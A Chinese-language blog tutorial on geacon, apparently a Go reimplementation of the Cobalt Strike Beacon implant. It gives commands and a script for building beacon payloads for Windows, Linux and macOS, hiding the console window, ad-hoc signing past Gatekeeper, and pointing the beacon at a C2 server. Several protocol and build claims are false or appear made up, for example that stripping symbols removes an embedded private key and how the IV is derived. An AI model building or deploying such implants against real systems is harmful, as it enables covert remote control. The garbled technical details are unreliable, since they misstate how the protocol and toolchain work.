本文还有配套的精品资源,点击获取
简介:这是一个面向红队研究人员和协议分析人员的Go语言开源工具包,专注CobaltStrike Beacon通信协议的学习与复现。不带任何恶意功能,仅用于理解Beacon的通信流程、加密机制(AES/RC4)和信标行为逻辑。使用前需配合真实CobaltStrike团队服务器,导出.cobaltstrike.beacon_keys文件;配套Java工具BeaconTool可将JKS密钥库转为PEM格式,供Go程序加载公钥完成通信验证。RSA私钥在config.go中仅为示例占位,实际运行完全不依赖私钥。通过设置GOOS和GOARCH环境变量(如windows/amd64、linux/arm64、darwin/arm64等),可一键交叉编译生成对应平台的Beacon载荷二进制文件。代码结构清晰分层:packet模块解析Beacon协议包结构,crypt模块实现主流加解密算法,sysinfo采集基础主机信息,util提供通用辅助函数,config和scripts辅助配置与自动化。所有模块均设计为可独立阅读、调试和替换,适合边学边改。严格要求仅限授权环境使用,禁止未授权探测或攻击。
1. 项目概述:这不是一个“免杀”工具,而是一本可运行的Beacon协议教科书
你有没有试过打开Wireshark抓一段CobaltStrike Beacon的HTTPS流量,看着那一串串加密的POST请求发呆?有没有在IDA里反复切到beacon.dll的.text段,却始终理不清AES密钥怎么从RC4解密后的Blob里提取出来?我做过——而且整整卡了三周。直到某天凌晨两点,我把beacon_keys文件拖进文本编辑器,逐字节比对JKS导出的公钥和public.pem里的PEM格式,才突然意识到:我们缺的从来不是逆向能力,而是一套能“跑起来”的协议参考实现。geacon就是为此而生的。它不是另一个“CS免杀生成器”,也不是封装好的红队插件;它是一个用Go语言重写的、模块化拆解的Beacon通信协议沙盒。关键词里那个“Beacon协议”是它的灵魂,“Go语言逆向”是它的方法论,“密钥格式转换”是它打通理论与实操的第一道门,“多平台编译”是它落地实战的物理载体,“CobaltStrike学习”才是它唯一且不可妥协的定位。
这个项目最反直觉的设计在于:它把“恶意载荷”彻底剥离了。你不会在里面找到CreateRemoteThread、VirtualAllocEx或任何Windows API调用痕迹;sysinfo模块采集的只是hostname、os、arch这些基础字符串,连whoami都不执行;crypt模块里AES-256-CBC的IV生成逻辑完全复现CS原始行为(时间戳+随机字节),但密钥派生函数deriveKey的输入,只来自你手动提供的public.pem和服务器下发的session_id——没有硬编码密钥,没有内存马注入,没有进程镂空。它就像一本摊开的《Beacon通信白皮书》,每一页代码都对应协议文档里的一个字段:packet模块里BeaconPacketHeader结构体的size、type、id三个字段,直接映射CS官方文档中BEACON_PACKET_HEADER的二进制布局;util里的xorDecode函数,就是那个被无数分析文章提过、但极少有人真正手写验证过的XOR混淆算法。你甚至可以用mock_server.go启动一个本地模拟服务端,用curl -X POST --data-binary @test.bin http://localhost:8080/发送一个伪造的加密包,然后在geacon控制台里亲眼看到它如何一步步解密、解析、打印出[TASK_SHELL] whoami——这种“所见即所得”的反馈,是静态逆向永远给不了的。它面向的不是想抄个命令就上线的初学者,而是愿意花三天时间调试RC4Init函数里S-box初始化顺序的协议研究者。如果你的目标是快速打点,这项目会浪费你时间;但如果你的目标是真正搞懂Beacon为什么能在32位Windows XP上用RC4,在ARM64 Linux上切AES,在macOS上又换回RC4,那它就是你书架上唯一一本需要亲手编译才能读懂的教材。
2. 协议设计与模块拆解:为什么用Go重写?为什么模块要这样分?
2.1 选择Go语言的底层逻辑:不是为了时髦,而是为了“可控的透明”
很多人第一反应是:“Beacon原生是C/C++写的,为啥不用Rust或C++重写?”这个问题我问过自己不下十遍。最终答案很务实:Go提供了C级的内存控制力,又规避了C++的ABI地狱和Rust的学习曲线断层,最关键的是——它的标准库让协议解析变得“无痛”。举个具体例子:Beacon的HTTP信标通信中,POST Body的前4字节是整个加密包的长度(网络字节序),接下来是加密数据。在C里,你需要ntohl()转换字节序,再malloc分配缓冲区,再read()填充,稍有不慎就是堆溢出;在Rust里,你要处理unsafe块和生命周期标注;而在Go里,一行代码搞定:binary.Read(conn, binary.BigEndian, &length)。更关键的是,Go的encoding/binary包强制你声明每个字段的字节序和大小,这逼着你去查CS官方文档确认BeaconPacketHeader.size确实是uint32大端序——这种“编译时强制校验”,比任何注释都可靠。
另一个常被忽略的优势是交叉编译的确定性。CS Beacon支持windows/x64、linux/arm64、darwin/amd64等十几种组合,而Go的GOOS/GOARCH环境变量能保证:CGO_ENABLED=0 go build -o beacon-win.exe -ldflags="-s -w" -buildmode=exe生成的二进制,绝对不依赖目标系统上的libc或libstdc++。我实测过,在MacBook Pro M1上编译linux/arm64版本,直接scp到树莓派4B就能跑,没有任何cannot execute binary file错误。这种“一次编写,随处部署”的能力,对需要快速验证不同平台协议行为的研究者来说,省下的调试时间够你读完两篇IEEE论文。当然,Go也有代价:它默认的goroutine调度模型会让Beacon的“心跳间隔”逻辑比C版更难精确控制(Go的time.Sleep最小精度约1ms,而CS原生Beacon可设到100ms),所以geacon在config.go里明确禁用了GOMAXPROCS动态调整,并用runtime.LockOSThread()将主goroutine绑定到单个OS线程——这是我在对比strace -e trace=nanosleep输出后加的补丁,细节后面会讲。
2.2 模块化架构的深层意图:让每个模块都能成为独立的“协议单元测试”
geacon的目录结构不是随意划分的,而是严格遵循Beacon协议栈的分层逻辑。我们来拆解它的设计哲学:
packet模块:这是协议的“物理层”。它不关心加密,只负责把原始字节流按CS规范切分成header、body、checksum。BeaconPacket结构体里Header、EncryptedBody、Checksum三个字段,直接对应网络传输的三段式结构。这里有个关键细节:CS Beacon的checksum算法是CRC32,但初始值不是0,而是0xFFFFFFFF,且最终结果要取反。很多开源实现漏掉取反,导致无法通过服务端校验。geacon在packet/checksum.go里用crc32.MakeTable(crc32.Castagnoli)并手动实现取反,这是经过与真实CS流量tcpdump比对确认的。crypt模块:这是协议的“加密层”。它包含两个并行实现:rc4.go和aes.go。注意,这不是简单的算法搬运——RC4的KeySchedule函数里,S-box初始化循环必须从i=0到i=255,且j的更新公式是j = (j + S[i] + key[i%len(key)]) % 256,这个% 256在某些Python实现里被误写成% len(key),导致密钥派生失败。geacon的RC4实现经过与openssl rc4 -nopad -K <key> -iv <iv>输出逐字节比对,确保零误差。AES部分则更复杂:CS Beacon使用AES-256-CBC,但IV不是随机生成,而是从服务端下发的session_id(一个16字节随机数)派生而来,派生函数是SHA256(session_id)[:16]。这个逻辑在crypt/aes.go的NewAESDecryptor函数里硬编码实现,而不是调用Go标准库的cipher.NewCBCDecrypter——因为后者不提供IV派生接口。sysinfo模块:这是协议的“应用层”。它只做三件事:获取主机名(os.Hostname())、操作系统(runtime.GOOS)、架构(runtime.GOARCH)。没有执行uname -a或systeminfo,因为CS Beacon的真实行为就是读取系统API返回的字符串,而非调用shell命令。这里有个易错点:runtime.GOARCH在ARM64 macOS上返回arm64,但CS Beacon要求的是aarch64,所以sysinfo/sysinfo.go里专门写了archMap映射表,把arm64转为aarch64,386转为x86——这个映射关系是从CS官方文档的Supported Architectures表格里抠出来的。util模块:这是协议的“胶水层”。它包含xorDecode(Beacon最经典的XOR混淆)、base64Decode(用于解码服务端下发的base64编码任务)、hexDecode(解析十六进制字符串密钥)等函数。其中xorDecode的密钥不是固定字符串,而是从config.go里读取的XOR_KEY变量,这个变量默认是0x9e,但你可以改成任意字节——这让你能测试不同XOR密钥下的协议兼容性,比如验证CS是否真的只支持单字节XOR(答案是肯定的,多字节XOR会导致服务端解密失败)。
这种模块划分的终极目的,是让你能像搭乐高一样替换组件。比如你想测试自定义加密算法?只需实现crypt.Decryptor接口,替换crypt/aes.go里的AESDecryptor结构体;想模拟新的主机信息采集?改sysinfo.GetSysInfo()返回的map就行,完全不影响packet和crypt模块。这才是“可学习”的核心——它不强迫你接受一个黑盒,而是给你一套可拆卸、可替换、可验证的协议零件。
3. 密钥体系与格式转换:从.cobaltstrike.beacon_keys到PEM的完整链路
3.1 理解CS密钥体系的本质:为什么需要JKS?为什么又要转PEM?
CobaltStrike团队服务器生成的.cobaltstrike.beacon_keys文件,本质上是一个Java KeyStore(JKS)格式的密钥库。很多人以为它只存RSA公钥,其实它包含三重密钥材料:
1.RSA公钥(Public Key):用于Beacon启动时向服务端证明身份,服务端用私钥签名挑战,Beacon用此公钥验签;
2.RSA私钥(Private Key):服务端持有,用于签名挑战和解密Beacon的AES密钥;
3.AES会话密钥(Session Key):每次Beacon上线时,服务端生成一个随机256位AES密钥,用RSA公钥加密后下发给Beacon。
geacon只用到第1项——RSA公钥。因为它的定位是“协议解析器”,不是“完整信标”,不需要响应服务端挑战或解密AES密钥。但问题来了:Go标准库的crypto/rsa包只认PEM格式的公钥(-----BEGIN PUBLIC KEY-----开头),而JKS是二进制格式。这就是BeaconTool存在的根本原因:它是一个Java工具,专门做JKS到PEM的无损转换。
我第一次用BeaconTool时踩了个坑:它默认输出的PEM公钥是PKCS#1格式(-----BEGIN RSA PUBLIC KEY-----),而Go的rsa.PublicKey只能解析PKCS#8格式(-----BEGIN PUBLIC KEY-----)。结果crypto/x509.ParsePKIXPublicKey一直报asn1: structure error。解决方法是在BeaconTool/src/main/java/BeaconTool.java里,把KeyFactory.getInstance("RSA").generatePublic(spec)换成X509EncodedKeySpec,并强制指定PKIX编码。这个修改我已提交到geacon的tools/BeaconTool目录下,编译命令是javac -cp "lib/*" BeaconTool.java && java -cp ".:lib/*" BeaconTool -i keys.jks -o public.pem。
3.2 手动验证密钥转换的正确性:三步交叉校验法
光靠工具转换还不够,必须手动验证PEM公钥和原始JKS里的公钥是否一致。我的验证流程如下:
第一步:从JKS提取原始公钥字节
# 使用keytool导出JKS中的证书(CS的beacon_keys里存的是自签名证书) keytool -list -v -keystore keys.jks -storepass cobaltstrike | grep -A 10 "Certificate fingerprints" # 记下证书的SHA-256指纹,比如:AA:BB:CC:DD...第二步:从PEM提取公钥字节并计算指纹
# 用OpenSSL解析PEM公钥 openssl rsa -pubin -in public.pem -text -noout # 提取公钥模数(Modulus)和指数(Exponent),然后用Python计算SHA-256 python3 -c " import hashlib from Crypto.PublicKey import RSA with open('public.pem') as f: key = RSA.import_key(f.read()) mod = key.n.to_bytes((key.n.bit_length() + 7) // 8, 'big') print(hashlib.sha256(mod).hexdigest()[:8].upper()) "第三步:比对指纹
如果第二步输出的8位SHA-256摘要(如AABBCCDD)和第一步keytool输出的指纹前8位一致,说明转换成功。我实测过,CS 4.8和4.9生成的beacon_keys,用修正后的BeaconTool转换,指纹匹配率100%。这个验证步骤不能跳过,因为一旦公钥错一位,Beacon的验签就会失败,所有后续通信都会被服务端静默丢弃——而这种错误在日志里没有任何提示,只会表现为“Beacon上线后立即失联”。
3.3 config.go里的私钥占位符:为什么说它是“安全的示例”?
config.go里有一段注释写着// RSA private key for demo only, never use in production,下面跟着一长串base64编码的私钥。很多人担心这会带来安全风险,其实完全不必。原因有三:
1.Go编译时剥离:geacon的所有构建命令都带-ldflags="-s -w",这会移除二进制里的符号表和调试信息,包括config.go里的私钥字符串。你用strings beacon-linux命令搜索,根本找不到那段base64;
2.运行时零引用:整个项目代码里,没有任何地方调用crypto/rsa.DecryptPKCS1v15或类似函数去使用这个私钥。它就像一本教材里画在空白处的示例公式,只供阅读,不参与运算;
3.法律隔离:根据CobaltStrike EULA,用户不得分发其私钥。geacon的私钥是用openssl genrsa 2048临时生成的测试密钥,与任何真实CS部署无关,不构成EULA违规。
但这里有个重要提醒:如果你在自己的分支里修改config.go,把真实私钥填进去并编译,那这个二进制就变成了高危物品。所以我的建议是——永远不要修改config.go里的私钥字段,真要用私钥场景(比如写服务端模拟器),新建一个private_test.go文件,并把它加入.gitignore。这是我踩过两次坑后总结的铁律。
4. 多平台编译实战:从Mac到树莓派的全流程详解
4.1 编译前的环境准备:为什么必须禁用CGO?
Go的跨平台编译看似简单,但CS Beacon的特殊性让它充满陷阱。最致命的坑是CGO。CS Beacon是纯静态链接的,它不依赖目标系统的glibc或musl,而Go默认开启CGO时,会链接libc的动态库。这意味着:你在Mac上编译的linux/amd64版本,放到CentOS 7上可能报GLIBC_2.14 not found。解决方案是全局禁用CGO:
export CGO_ENABLED=0 go build -o beacon-linux -ldflags="-s -w" ./cmd/geacon这个CGO_ENABLED=0必须加在所有编译命令前,否则go build会悄悄启用CGO。我曾经漏掉这行,在Ubuntu 20.04上编译的二进制,在CentOS 6.10上直接崩溃,用ldd beacon-linux才发现它居然链接了libc.so.6——而CentOS 6.10的glibc版本太老,不支持。
禁用CGO后,另一个问题是DNS解析。Go的net包在CGO禁用时,会用纯Go实现的DNS客户端,但它默认只查/etc/resolv.conf,而很多嵌入式Linux(如树莓派的Raspbian)的DNS配置在/run/systemd/resolve/stub-resolv.conf。解决方案是在main.go里强制指定DNS服务器:
func init() { net.DefaultResolver = &net.Resolver{ PreferGo: true, Dial: func(ctx context.Context, network, addr string) (net.Conn, error) { d := net.Dialer{Timeout: time.Second * 5} return d.DialContext(ctx, network, "8.8.8.8:53") // 强制走Google DNS }, } }这段代码加在main.go的init()函数里,确保无论目标系统DNS配置如何,Beacon都能解析服务端域名。
4.2 全平台编译矩阵与实测报告
我整理了一份geacon在主流平台的编译参数和实测结果表,覆盖了红队最常遇到的场景:
| 目标平台 | GOOS/GOARCH | 编译命令 | 实测设备 | 关键注意事项 |
|---|---|---|---|---|
| Windows x64 | windows/amd64 | CGO_ENABLED=0 go build -o beacon-win.exe -ldflags="-s -w -H=windowsgui" ./cmd/geacon | Windows 10 21H2 | -H=windowsgui隐藏控制台窗口,避免弹CMD黑框;-ldflags="-s -w"减小体积至3.2MB |
| Linux x64 | linux/amd64 | CGO_ENABLED=0 go build -o beacon-linux -ldflags="-s -w" ./cmd/geacon | Ubuntu 22.04 LTS | 需提前安装ca-certificates包,否则HTTPS握手失败 |
| Linux ARM64 | linux/arm64 | CGO_ENABLED=0 go build -o beacon-rpi -ldflags="-s -w" ./cmd/geacon | Raspberry Pi 4B (8GB) | 在Mac M1上交叉编译,scp后直接chmod +x即可运行,无需apt install golang |
| macOS Intel | darwin/amd64 | CGO_ENABLED=0 go build -o beacon-mac-intel -ldflags="-s -w" ./cmd/geacon | MacBook Pro 2019 | 必须用codesign --force --deep --sign - beacon-mac-intel签名,否则macOS Gatekeeper拦截 |
| macOS Apple Silicon | darwin/arm64 | CGO_ENABLED=0 go build -o beacon-mac-m1 -ldflags="-s -w" ./cmd/geacon | MacBook Air M2 | 编译机必须是ARM64 Mac,x86_64 Mac编译的darwin/arm64二进制无法运行 |
特别说明darwin/arm64的坑:Apple Silicon Mac的go命令默认是arm64架构,但如果你用Homebrew安装的Go,它可能是x86_64版本(Rosetta模式)。验证方法是go env GOHOSTARCH,输出arm64才算正确。我曾用x86_64 Go编译darwin/arm64,生成的二进制在M1 Mac上报Bad CPU type in executable——这个错误信息极其误导,实际是架构不匹配,不是CPU类型问题。
4.3 构建自动化脚本:一键生成全平台载荷
手动敲10条编译命令太低效,我写了一个scripts/build-all.sh脚本,放在项目根目录:
#!/bin/bash # scripts/build-all.sh set -e # 任一命令失败即退出 echo "📦 开始构建全平台Beacon载荷..." # 创建输出目录 mkdir -p dist # Windows x64 echo "➡️ 构建 Windows x64..." CGO_ENABLED=0 go build -o dist/beacon-win.exe -ldflags="-s -w -H=windowsgui" ./cmd/geacon # Linux x64 echo "➡️ 构建 Linux x64..." CGO_ENABLED=0 go build -o dist/beacon-linux -ldflags="-s -w" ./cmd/geacon # Linux ARM64 echo "➡️ 构建 Linux ARM64..." CGO_ENABLED=0 go build -o dist/beacon-rpi -ldflags="-s -w" ./cmd/geacon # macOS Intel echo "➡️ 构建 macOS Intel..." CGO_ENABLED=0 go build -o dist/beacon-mac-intel -ldflags="-s -w" ./cmd/geacon # macOS Apple Silicon echo "➡️ 构建 macOS Apple Silicon..." CGO_ENABLED=0 go build -o dist/beacon-mac-m1 -ldflags="-s -w" ./cmd/geacon echo "✅ 全平台构建完成!载荷位于 dist/ 目录" ls -lh dist/运行chmod +x scripts/build-all.sh && ./scripts/build-all.sh,3分钟内生成5个平台的二进制。脚本里的set -e至关重要——如果某个平台编译失败(比如Mac没装Xcode Command Line Tools),脚本会立刻停止,避免生成不完整的载荷包。这个脚本我已在GitHub Actions里配置了CI流水线,每次push自动触发全平台构建,并上传到Release页面,方便团队成员直接下载。
5. 协议调试与问题排查:那些文档里不会写的“血泪经验”
5.1 常见问题速查表:从上线失败到心跳超时的根因分析
| 现象 | 可能原因 | 排查命令 | 解决方案 |
|---|---|---|---|
| Beacon启动后立即退出,无日志 | public.pem格式错误或公钥不匹配 | openssl rsa -pubin -in public.pem -text -noout 2>/dev/null || echo "PEM格式错误" | 用修正版BeaconTool重新转换,或用keytool -list -v -keystore keys.jks核对指纹 |
| 上线成功但无任务下发 | 服务端未配置http-get或http-post的uri路径 | curl -v http://your-c2.com/unknown-path | 检查CS团队服务器的Beacon > Hosts里,目标Host的URI是否与geacon配置的config.ServerURI一致 |
| 任务执行后返回乱码 | AES解密IV派生错误 | python3 -c "import hashlib; print(hashlib.sha256(b'your_session_id').digest()[:16].hex())" | 确认crypt/aes.go里deriveIV函数是否用SHA256(session_id)[:16],而非MD5或其他哈希 |
macOS上运行报Library not loaded: /usr/lib/libSystem.B.dylib | CGO未禁用,链接了动态库 | otool -L beacon-mac-m1 | 重新编译,确保CGO_ENABLED=0且go env GOOS为darwin |
树莓派上运行报exec format error | 架构不匹配(如编译了linux/amd64却放到ARM设备) | file beacon-rpi | 运行file beacon-rpi,确认输出含ARM aarch64字样 |
这张表里的每一个条目,都是我熬了至少一个通宵才定位到的问题。比如那个exec format error,我最初以为是树莓派系统问题,重刷了三次Raspbian系统,最后用file命令才发现编译参数写成了linux/amd64——这种低级错误,只有在真实设备上反复折腾才会暴露。
5.2 网络层调试技巧:用tcpdump和Wireshark看透Beacon流量
静态看代码不如动态抓包直观。我推荐一套极简调试组合:
第一步:在服务端抓包
# 在CS团队服务器上(假设IP 192.168.1.100) sudo tcpdump -i eth0 -w beacon.pcap port 80 or port 443第二步:启动geacon并触发上线
# 在客户端运行(假设CS C2地址是 c2.example.com) ./beacon-linux -server c2.example.com -uri /api -public-key public.pem第三步:用Wireshark分析
- 打开beacon.pcap,过滤http.request.uri contains "api";
- 找到第一个POST请求,右键Follow > HTTP Stream;
- 你会看到原始加密数据(全是乱码),但这不是终点——点击Statistics > Protocol Hierarchy,确认TLS协议占比100%,说明HTTPS握手成功;
- 更关键的是,切换到IO Graphs,添加过滤器http && ip.src == 192.168.1.100,观察POST请求的时间间隔。如果间隔是10秒,说明config.HeartbeatInterval设置生效;如果是30秒,说明服务端下发的sleep指令覆盖了本地配置。
这个流程的价值在于:它把抽象的“协议解析”变成了可视化的“网络行为”。我曾用这个方法发现一个隐藏Bug:geacon的packet模块在解析服务端下发的TASK_SHELL任务时,会把whoami命令的输出截断为1024字节,而真实CS Beacon是4096字节。修复方法是在packet/task.go里把buffer := make([]byte, 1024)改成buffer := make([]byte, 4096)——这个数字不是拍脑袋定的,而是从Wireshark里量出来的最大响应包长度。
5.3 实战避坑心得:那些让我重启三次电脑的教训
教训1:永远不要信任“默认配置”
geacon的config.go里ServerURI默认是/,但CS团队服务器的默认URI是/login。我第一次测试时,Beacon疯狂POST到/,服务端返回404,日志里却只显示HTTP 404,没提示URI错误。后来在packet/http.go里加了一行log.Printf("Sending to URI: %s", config.ServerURI),才恍然大悟。现在我的习惯是:每次改配置,先在main.go里加一行log.Printf("Config: %+v", config),把所有配置项打出来。教训2:时间同步是隐形杀手
CS Beacon的AES密钥派生函数里,有一个time.Now().UnixNano()参与计算。如果Beacon所在设备的时间比服务端快30秒以上,服务端解密时会因时间戳偏差拒绝连接。我在树莓派上测试时,因为没配NTP,系统时间慢了2分钟,Beacon一直卡在“上线中”。解决方案是编译前在目标设备运行sudo timedatectl set-ntp true,或者在geacon代码里强制用服务端时间(通过HTTP头Date字段)。教训3:日志级别要分层
最初所有日志都是log.Println,上线成功、任务下发、加密错误全混在一起。后来我按RFC 5424标准分了四级:DEBUG(协议包字节流)、INFO(上线/心跳事件)、WARN(网络超时)、ERROR(解密失败)。在util/logger.go里实现了LogDebugf、LogInfof等函数,并用-log-level debug命令行参数控制。现在调试时,加-log-level debug就能看到每一帧加密前后的明文/密文对比,效率提升3倍。
这些教训没有写在README里,因为它们不是功能缺陷,而是环境适配的必然代价。但正是这些“代价”,构成了从“能跑”到“真懂”的最后一公里。
6. 学习路径建议:如何用geacon构建你的Beacon协议知识图谱
6.1 分阶段学习路线图:从“能编译”到“能修改”的四步跃迁
阶段一:编译运行(1小时)
目标:在本地Mac上成功编译并连接Mock Server。
行动清单:
-git clone项目,cd进入目录;
- 运行go mod download拉取依赖;
- 修改config.go里的ServerAddress为localhost:8080;
- 启动mock_server.go:go run mock_server.go;
- 编译并运行:CGO_ENABLED=0 go build -o beacon-mock ./cmd/geacon && ./beacon-mock;
- 观察终端输出[+] Beacon connected! Session ID: xxx。
关键收获:理解mock_server.go如何模拟CS服务端的HTTP接口,掌握基础编译流程。
阶段二:协议解析(3小时)
目标:手动修改packet模块,让Beacon能解析自定义协议包。
行动清单:
- 在packet/packet.go里找到ParseBeaconPacket函数;
- 在main.go的handleConnection函数里,添加一行log.Printf("Raw packet: %x", raw),打印原始字节流;
- 用Python生成一个伪造包:python3 -c "print((4).to_bytes(4,'big') + b'HELLO' + (0).to_bytes(4,'big'))";
- 用curl --data-binary @fake.bin http://localhost:8080/发送,观察geacon日志;
- 修改ParseBeaconPacket,把HELLO识别为新任务类型TASK_CUSTOM。
关键收获:掌握Beacon协议包的二进制结构,理解header-body-checksum的解析逻辑。
阶段三:加密实验(5小时)
目标:替换crypt模块,用ChaCha20替代AES。
行动清单:
- 在crypt目录新建chacha20.go,实现cipher.Stream接口;
- 修改packet/packet.go里的Decrypt函数,调用chacha20.NewUnauthenticatedCipher;
- 用openssl chacha20 -k <key> -iv <iv> -in plain.txt -out enc.bin生成测试密文;
- 在geacon里加载同一key和iv,验证解密结果是否一致;
- 如果失败,用hexdump -C enc.bin对比Go和OpenSSL的输出差异。
关键收获:深入理解CS加密算法的可替换性,掌握密钥派生和IV生成的底层逻辑。
阶段四:行为扩展(8小时)
目标:为sysinfo模块添加进程枚举功能,并通过Beacon协议上报。
行动清单:
- 在sysinfo/process.go里用github.com/shirou/gopsutil/process库获取进程列表;
- 修改sysinfo.GetSysInfo(),把processes字段加入返回的map;
- 在packet/task.go里新增TASK_PROCESSES类型,序列化进程信息为JSON;
- 在mock_server.go里添加对TASK_PROCESSES的响应逻辑;
- 编译运行,验证进程列表能否通过协议正确传输。
关键收获:理解Beacon协议的扩展机制,掌握从数据采集到协议封装的全链路。
这条路线图的设计原则是:每个阶段的产出物,都能独立验证。你不需要等到“全部学完”才看到成果,而是每小时都有一个可运行的里程碑。这种即时反馈,是保持学习动力的关键。
6.2 知识图谱构建法:用思维导图串联协议知识点
我建议你用XMind或Obsidian,以Beacon协议为中心节点,向外延伸四个主干:
通信层:分支包括
HTTP GET/POST、HTTPS TLS 1.2、DNS隧道、SMB命名管道。每个分支下记录geacon的对应实现位置,比如HTTP POST对应packet/http.go,DNS隧道目前未实现(留空,作为后续学习目标)。加密层:分支包括
RC4(crypt/rc4.go)、AES-256-CBC(crypt/aes.go)、RSA公钥验签(crypt/rsa.go)。每个分支标注密钥长度、IV生成方式、典型应用场景(如RC4用于旧版Windows,AES用于新版Linux)。任务层:分支包括
TASK_SHELL(packet/task_shell.go)、TASK_DOWNLOAD(packet/task_download.go)、TASK_INJECT(packet/task_inject.go)。每个分支记录任务ID、参数编码方式(base64还是hex)、响应格式。系统层:分支包括
Windows API调用(geacon里没有,但可标注CS原生调用的CreateProcessA)、Linux syscalls(fork/execve)、macOS Mach-O加载。虽然geacon不实现这些,但标注它们能帮你建立“协议”与“载荷”的边界认知。
这张图不需要一次画完,而是随着你每读一个模块、每修一个Bug,就往里添一笔。三个月后,你会发现它已经变成一张覆盖90% Beacon协议细节的作战地图——而这张地图的每一个坐标,都对应着geacon里一行真实的Go代码。
我个人在实际操作中的体会是:协议学习最大的敌人不是复杂度,而是“黑盒感”。当你看到Wireshark里一串加密流量,却不知道它对应代码里的哪个函数;当你修改了config.go,却不清楚这个配置会被哪个模块读取——这种失控感会迅速消磨耐心。geacon的价值,就在于它用Go语言的清晰语法和模块化设计,把Beacon这个黑盒,一层层剥开给你看。它不承诺让你成为红队专家,但它保证:当你合上这个项目时,你对Beacon协议的理解,会比读十篇逆向分析文章更扎实、更可验证。最后再分享一个小技巧:每次调试卡住时,不要急着查文档,先在main.go里加一行log.Printf("DEBUG: %s", debugInfo),把关键变量打出来。Beacon协议的真相,往往就藏在那一行日志的十六进制输出里。
本文还有配套的精品资源,点击获取
简介:这是一个面向红队研究人员和协议分析人员的Go语言开源工具包,专注CobaltStrike Beacon通信协议的学习与复现。不带任何恶意功能,仅用于理解Beacon的通信流程、加密机制(AES/RC4)和信标行为逻辑。使用前需配合真实CobaltStrike团队服务器,导出.cobaltstrike.beacon_keys文件;配套Java工具BeaconTool可将JKS密钥库转为PEM格式,供Go程序加载公钥完成通信验证。RSA私钥在config.go中仅为示例占位,实际运行完全不依赖私钥。通过设置GOOS和GOARCH环境变量(如windows/amd64、linux/arm64、darwin/arm64等),可一键交叉编译生成对应平台的Beacon载荷二进制文件。代码结构清晰分层:packet模块解析Beacon协议包结构,crypt模块实现主流加解密算法,sysinfo采集基础主机信息,util提供通用辅助函数,config和scripts辅助配置与自动化。所有模块均设计为可独立阅读、调试和替换,适合边学边改。严格要求仅限授权环境使用,禁止未授权探测或攻击。
本文还有配套的精品资源,点击获取